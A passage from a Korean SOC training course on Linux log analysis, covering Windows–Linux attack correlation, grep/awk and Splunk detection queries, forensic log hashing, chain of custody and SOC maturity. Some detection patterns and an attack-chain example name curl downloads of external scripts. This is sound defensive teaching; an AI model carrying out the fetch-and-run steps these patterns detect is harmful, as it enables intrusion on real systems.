    • 최소 권한과 기본 거부 원칙이 로그 해석도 더 명확하게 만든다
    • 정책 적용 전후에 어떤 로그가 달라지는지 같이 확인하기
    추가 확인
    • 허용 예외 계정·서비스가 과도하지 않은지 검토
    • SELinux/AppArmor는 enforcing·permissive 상태를 구분해 보기
    • 정책 변경 후 정상 서비스 오류와 보안 신호를 구분하기
    실무 적용
    • 정책은 한 번에 끝내지 않고 로그를 보며 단계적으로 튜닝
    • 우회 가능한 운영 예외를 줄여 탐지 신뢰도를 높이기
    • 보안 강화 항목은 감사 체크리스트로 반복 점검
    하이브리드 환경: Windows ↔ Linux 상관분석
    공격자는 Windows에서 자격증명을 탈취하고 Linux로 이동한다 — 두 로그를 연결해야 공격 체인이 보인다
    분석
    🔗 Windows → Linux 공격 체인 예시
    Windows
    EventID 4625: admin 로그인 실패 × 50
    WinEvt Security log
    Windows
    EventID 4624: NTLM 로그인 성공
    자격증명 탈취 성공
    Linux
    같은 계정명으로 SSH 성공 (수 분 후)
    auth.log: Accepted password for admin
    Linux
    curl로 외부 스크립트 다운로드
    auditd execve
    📋 Windows Event ID 대응표
    Windows EventID의미Linux 대응
    4624로그인 성공auth.log Accepted
    4625로그인 실패auth.log Failed
    4648명시적 자격증명sudo log
    4720계정 생성auth.log useradd
    4698예약 작업 생성cron log
    7045서비스 설치systemd 서비스 등록
    고급 CLI 실전 패턴: 현장에서 즉시 쓰는 명령어
    10년 경력 분석가가 매일 쓰는 핵심 패턴 — 이것만 알아도 현장에서 80%는 해결된다
    실습
    🔧 고급 grep 패턴
    # 2개 조건 동시 만족 (look-ahead)
    grep -P "(?=.*Accepted)(?=.*203\.0\.113\.)" auth.log
    # 앞뒤 5줄 문맥 출력 (-C)
    grep -C 5 "FAILED SU" /var/log/auth.log
    # 여러 파일에서 + 파일명 표시
    grep -r "curl.*http" /var/log/ --include="*.log"
    # 정확한 단어 매칭 (-w)
    grep -w "root" auth.log | grep Accepted
    # 타임스탬프 범위 추출
    awk '/Feb 14 02:00/,/Feb 14 03:00/' auth.log
    🔧 고급 awk 패턴
    # 필드 조건 + 계산
    awk '$9>=400 && $9<500{sum+=$10; cnt++}
    END{print "4xx 응답 수:", cnt, "총 바이트:", sum}' access.log
    # 시간대별 요청 히트맵
    awk '{match($4,/\[(.*):/,a); h[substr(a[1],length(a[1])-1)]++}
    END{for(h in cnt) printf "%s: %s\n", h, cnt[h]}' access.log
    # 두 파일을 join (IP → 국가)
    awk 'NR==FNR{country[$1]=$2; next}
    {print $0, country[$1]}' ip2country.txt access.log
    PART 40
    로그 무결성 & 포렌식 증거 보전
    해시 체인 · 디지털 서명 · WORM 스토리지 · 증거 수집 절차 · 법적 허용성
    ⏱ 45분 | 포렌식 기초
    로그 무결성 보장: 변조 불가능한 증거 만들기
    법정에서 "이 로그는 조작된 것 아닙니까?"라는 질문에 답하려면 — 수집 시점부터 무결성을 관리하라
    분석
    🔐 무결성 보장 방법
    # 1. 수집 즉시 해시 생성
    sha256sum /var/log/auth.log > auth.log.sha256
    sha256sum /var/log/audit/audit.log > audit.log.sha256
    # 2. 해시 파일에 타임스탬프 서명
    date -u >> auth.log.sha256
    gpg --clearsign auth.log.sha256
    # 3. 이미지 생성 (dd + 해시)
    dd if=/dev/sda bs=512 | tee server_disk.img | sha256sum
    # 4. 나중에 무결성 검증
    sha256sum -c auth.log.sha256
    # 출력: auth.log: OK → 변조 없음
    📋 증거 수집 체인 (Chain of Custody)
    발견
    이상 징후 탐지 또는 사건 신고
    시각, 탐지자 기록
    격리
    네트워크 격리 (전원 유지)
    전원 끄면 메모리 증거 소멸
    수집
    휘발성 → 비휘발성 순서 수집
    모든 명령어를 tee로 기록
    해싱
    수집한 모든 파일 SHA256 생성
    증거 봉투 + 서명
    보존
    WORM 스토리지 또는 금고
    접근 통제 + 접근 로그
    수집 과정 자동 기록: script 명령으로 작업 로그 남기기
    사고 대응 중 내가 무엇을 했는지도 기록된다 — 법적 분쟁 시 내 작업의 정당성을 증명
    실습
    🔧 script로 세션 전체 기록
    # 사고 대응 시작 시 첫 번째로 실행
    script -a -t 2>timing.log forensics_$(date +%Y%m%d_%H%M%S).log
    # 이후 모든 명령어 + 출력이 자동 기록됨
    echo "=== IR 시작: $(date -u) ==="
    echo "=== 분석가: 홍길동 ==="
    echo "=== 사건 번호: INC-2024-0214 ==="
    # ... 모든 분석 명령어 실행 ...
    echo "=== IR 종료: $(date -u) ==="
    exit # script 세션 종료
    # 기록 파일 해시 생성
    sha256sum forensics_*.log > forensics.sha256
    📋 사고 대응 기록 양식
    IR 작업 기록지
    사건 번호
    INC-YYYYMMDD-NNN
    분석가
    이름 + 소속
    대상 시스템
    호스트명 + IP + 역할
    수집 시작
    UTC 기준 시각
    수집 파일
    파일명 + SHA256 해시
    관찰 사항
    작업 중 발견한 이상 징후
    PART 41
    전문가 케이스 스터디
    APT 흔적 · 인사이더 고급 패턴 · 제로데이 흔적 · 허위 양성 정교 분석 · 역추적
    ⏱ 70분 | 고급 실습
    APT 장기 잠복 탐지: Low and Slow 공격 찾기
    APT는 서두르지 않는다 — 한 달에 한 번 접속, 야간에만 활동, 정상 프로세스 위장이 특징이다
    시나리오
    🕵️ APT 장기 잠복 탐지 지표
    주기적 비콘:
    매 N분마다 정확하게 외부 연결 (자동화된 C2)
    netstat 로그 시계열에서 패턴 확인
    Living off the Land:
    curl, python3, bash 등 시스템 도구만 사용
    악성 파일 없음 → AV 탐지 불가
    수면-활성 패턴:
    월 1~2회만 활성화, 나머지는 조용
    단기 30일 분석으로는 놓칠 가능성
    탐지 방법: 3~6개월 장기 베이스라인 비교 + Threat Hunting
    🔍 비콘 탐지 쿼리 (Splunk)
    # 규칙적 외부 연결 패턴 탐지
    index=network_logs
    | eval hour=strftime(_time, "%H")
    | stats count by dst_ip, hour
    | eventstats stdev(count) as std by dst_ip
    | where std < 2 # 표준편차 낮음 = 규칙적
    | sort std
    # 결과: 시간당 정확히 4회 연결하는 IP = C2 의심
    핵심: 비콘 주기가 규칙적일수록 자동화된 C2 — 인간은 정확히 매 15분마다 접속하지 않는다
    정교한 오탐 분석: 공격처럼 보이는 정상 행동
    Nessus가 스캔하면 공격자 스캔과 구분이 안 된다 — 정상 예외 목록이 탐지 품질을 결정한다
    분석
    🔍 오탐 유발 내부 시스템
    취약점 스캐너 (Nessus/Qualys):
    SSH 브루트포스처럼 보임 → 스캐너 IP 화이트리스트 필수
    CI/CD 파이프라인:
    배포 스크립트가 curl + /tmp 패턴 사용 → 배포 서버 IP 예외
    모니터링 에이전트:
    주기적 스크립트 실행 → 예측 가능한 cron 패턴
    백업 시스템:
    야간 rsync/scp 대량 전송 → 백업 계정 패턴
    📋 정상 예외 관리 원칙
    문서화
    예외 IP/계정/패턴을 CMDB에 등록
    담당자 + 만료일 포함
    범위 최소화
    ALL 예외 대신 특정 룰만 예외
    source.ip="10.1.2.3" AND rule="ssh_brute"만
    주기 검토
    분기별 예외 목록 유효성 검토
    퇴역 시스템 예외 자동 삭제
    예외 남용
    공격자가 예외 계정/IP 악용
    예외 자체도 모니터링 필요
    공격자 역추적: 로그로 출처를 찾는 방법
    VPN, TOR, 프록시로 숨겨도 흔적은 남는다 — 기술적 추적과 법적 절차를 이해하라
    분석
    🔍 기술적 역추적 방법
    IP 위협 인텔리전스:
    curl https://ipinfo.io/198.51.100.23
    VirusTotal, Shodan, AbuseIPDB 조회
    TOR/VPN/프록시 식별:
    알려진 Exit Node 목록, 호스팅 ASN 확인
    Cloudflare Radar, IPVoid
    타이밍 분석:
    세션 패턴으로 타임존 추정
    언어/인코딩 단서 수집
    TTP 매칭:
    공격 기법을 MITRE로 매핑
    알려진 위협 그룹 프로파일 비교
    ⚖️ 법적 역추적 절차
    증거 보전
    로그 + 해시 + Chain of Custody
    수사 협조 전 필수
    KISA/경찰청
    사이버수사대 신고 접수
    인터넷침해대응센터 118
    ISP 협조
    법원 영장으로 IP 주소 추적
    사법 절차 필요
    주의: 기술적 역추적은 법적 증거가 되지 않는다 — 공식 수사 경로를 반드시 병행해야 한다
    PART 42
    보안 운영 성숙도와 지속 개선
    SOC 성숙도 모델 · 메트릭 · 피드백 루프 · 탐지 엔지니어링 · 커뮤니티 참여
    ⏱ 35분 | 조직 역량
    SOC 성숙도 모델: 우리 팀은 지금 어느 단계인가
    Level 1에서 5까지 — 현재 수준을 정직하게 평가해야 다음 단계로 갈 수 있다
    개념
    1
    초기 (Ad-hoc): 사건이 터지면 반응 · 도구 없음 · 문서 없음
    특징: 매번 처음부터 시작
    2
    반복 가능 (Repeatable): 기본 SIEM · 수동 프로세스 · 기본 룰셋
    특징: 비슷한 공격은 같은 방법으로 처리
    3
    정의됨 (Defined): 플레이북 존재 · 메트릭 측정 · 자동화 일부
    특징: 표준 절차로 일관된 대응
    4
    관리됨 (Managed): 성과 측정 · 지속 튜닝 · Threat Hunting
    특징: 데이터 기반으로 룰과 프로세스 개선
    5
    최적화 (Optimizing): 능동적 사냥 · ML 탐지 · 위협 인텔 통합
    특징: 공격이 오기 전에 먼저 찾아낸다
    대부분의 국내 기업 SOC는 Level 2~3 수준 — 이 과정이 Level 3으로 도약하는 기반을 만든다
    SOC 핵심 KPI: 측정해야 개선할 수 있다
    숫자로 표현되지 않는 보안 운영은 성장하기 어렵다 — 매주 이 지표들을 추적하라
    분석
    📊 탐지 & 대응 핵심 지표
    지표의미목표
    MTTD평균 탐지 시간< 1시간
    MTTR평균 대응 시간< 4시간
    FPR오탐률< 10%
    Alert 처리율24시간 내 처리 비율> 95%
    탐지 커버리지ATT&CK 기법 중 탐지 가능 %> 60%
    🔄 지속 개선 피드백 루프
    사건 처리
    Alert → 분석 → 판단 → 조치
    모든 케이스 기록
    회고
    오탐/미탐 원인 분석
    주 1회 팀 리뷰
    튜닝
    룰 수정 · 예외 추가 · 임계값 조정
    즉시 적용
    검증
    개선 후 지표 재측정
    KPI 추적
    보안 커뮤니티 & 위협 인텔리전스 공유
    혼자 보면 1개의 공격 — 함께 보면 전국적 캠페인 — ISAC과 TI 공유가 탐지 수준을 높인다
    개념
    🌐 국내외 위협 인텔리전스 공유 채널
    KISA C-TAS
    국내 침해 사고 위협 정보 공유 플랫폼
    MISP (오픈소스)
    IOC 공유 플랫폼 — 직접 구축 가능
    AlienVault OTX
    글로벌 커뮤니티 IOC 피드 (무료)
    금융 · 통신 ISAC
    업종별 특화 위협 정보 공유
    📐 STIX/TAXII: TI 공유 표준
    # TAXII 서버에서 IOC 수신 (Python)
    from taxii2client.v21 import Server
    server = Server("https://otx.alienvault.com/taxii2/",
    user="api_key", password="")
    for collection in server.collections:
    for obj in collection.get_objects()["objects"]:
    if obj["type"] == "indicator":
    print(obj["pattern"]) # IOC 패턴
    받은 IOC를 SIEM에 자동 업로드하면 새로운 위협에 즉시 대응하는 자동화된 TI 파이프라인 완성
    탐지 엔지니어링: 코드로 만드는 탐지 능력
    탐지 룰도 소프트웨어처럼 버전 관리하고 테스트하고 배포한다 — Detection as Code
    개념
    🔄 Detection as Code 파이프라인
    룰 작성
    Sigma 형식으로 탐지 룰 작성
    Git 저장소에 저장
    자동 테스트
    샘플 로그로 탐지 여부 검증
    CI/CD 파이프라인
    변환
    Sigma → KQL/SPL 자동 변환
    sigma-cli
    배포
    SIEM에 자동 업로드
    Elastic/Splunk API
    모니터링
    룰 성능 추적 (오탐률, 탐지율)
    대시보드
    💡 탐지 엔지니어의 역할
    위협 인텔리전스 → 탐지 룰로 변환
    오탐 분석 → 룰 품질 지속 개선
    ATT&CK 커버리지 갭 식별 → 우선순위 결정
    탐지 테스트 자동화 (Atomic Red Team)
    💡 커리어 방향
    분석가 → 탐지 엔지니어 → Threat Hunter — Linux 로그 분석은 세 역할 모두의 공통 기반이다
    Module 2 전체 지식 지도: 모든 것이 연결된다
    개별 기술이 아니라 하나의 체계 — 로그 수집에서 위협 인텔까지 연결된 분석 생태계
    개념
    📥 수집
    rsyslog · Filebeat
    auditd · journald
    ⚙️ 정규화
    ECS · Grok
    파싱 · 타임존
    🔍 분석
    SIEM · KQL/SPL
    grep · awk
    🎯 탐지
    Sigma · ATT&CK
    IOA · 베이스라인
    ⚡ 대응
    플레이북 · SOAR
    격리 · 차단
    📈 개선
    회고 · KPI
    탐지 엔지니어링
    🎓 최종 메시지
    이 6단계 사이클을 반복하는 것이 SOC의 본질이다. 기술은 도구이고, 판단하는 사람이 중심이다.